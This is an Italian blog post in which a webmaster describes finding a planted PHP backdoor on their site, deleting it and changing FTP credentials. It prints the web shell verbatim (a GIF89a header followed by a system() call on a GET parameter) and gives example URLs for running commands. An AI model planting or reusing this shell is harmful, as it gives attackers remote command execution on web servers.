Recentemente ho dovuto fare un po' di manutenzione ad uno dei siti che gestisco. Per la precisione, era necessario aggiornare i meta tag delle pagine HTML, in modo da ottenere un ranking più elevato nei motori di ricerca (SEO).
Dopo essere atterrato sullo spazio FTP riservato al suddetto sito, ho notato la presenza di una pagina recante un nome a dir poco sospetto:
xxx.php
il cui contenuto era semplice ma abbastanza esplicativo:
GIF89a
<?php system("$_GET[cmd]"); exit; ?>
In pratica la funzione system di php consente di richiamare dei comandi di sistema semplicemente mediante POST o, ancora più banalmente, mediante GET.
Per intenderci, utilizzando una URL forgiata nel seguente modo:
http://www.sito.com?ls
sarebbe stato possibile per l'attaccante listare il contenuto delle directory, oppure, mediante:
http://www.sito.com?ping%20indirizzoip
avrebbe potuto lanciare un ping verso una macchina specifica (il %20 è semplicemente lo spazio in URL encoding).
Ovviamente, i comandi a disposizione dell'attaccante sono tutti quelli usufruibili mediante la funzione system (e non soltato quelli da me riportati a titolo di esempio). Dunque la pagina in oggetto può essere intesa come una sorta di backdoor.
Fortunatamente, l'hosting provider ha pensato bene di disabilitare la suddetta funzione a livello di php.ini, editando il paramentro disable_functions:
Warning: system() has been disabled for security reasons in /web/htdocs/www.sito.com/home/xxx.php on line 2
Infine, ho brasato la pagina xxx.php ed ho modificato le credenziali di accesso allo spazio FTP.
E' tutto.
PS: ogni tanto fare un ls della root dir del sito non sarebbe male, tanto per stare tranquilli.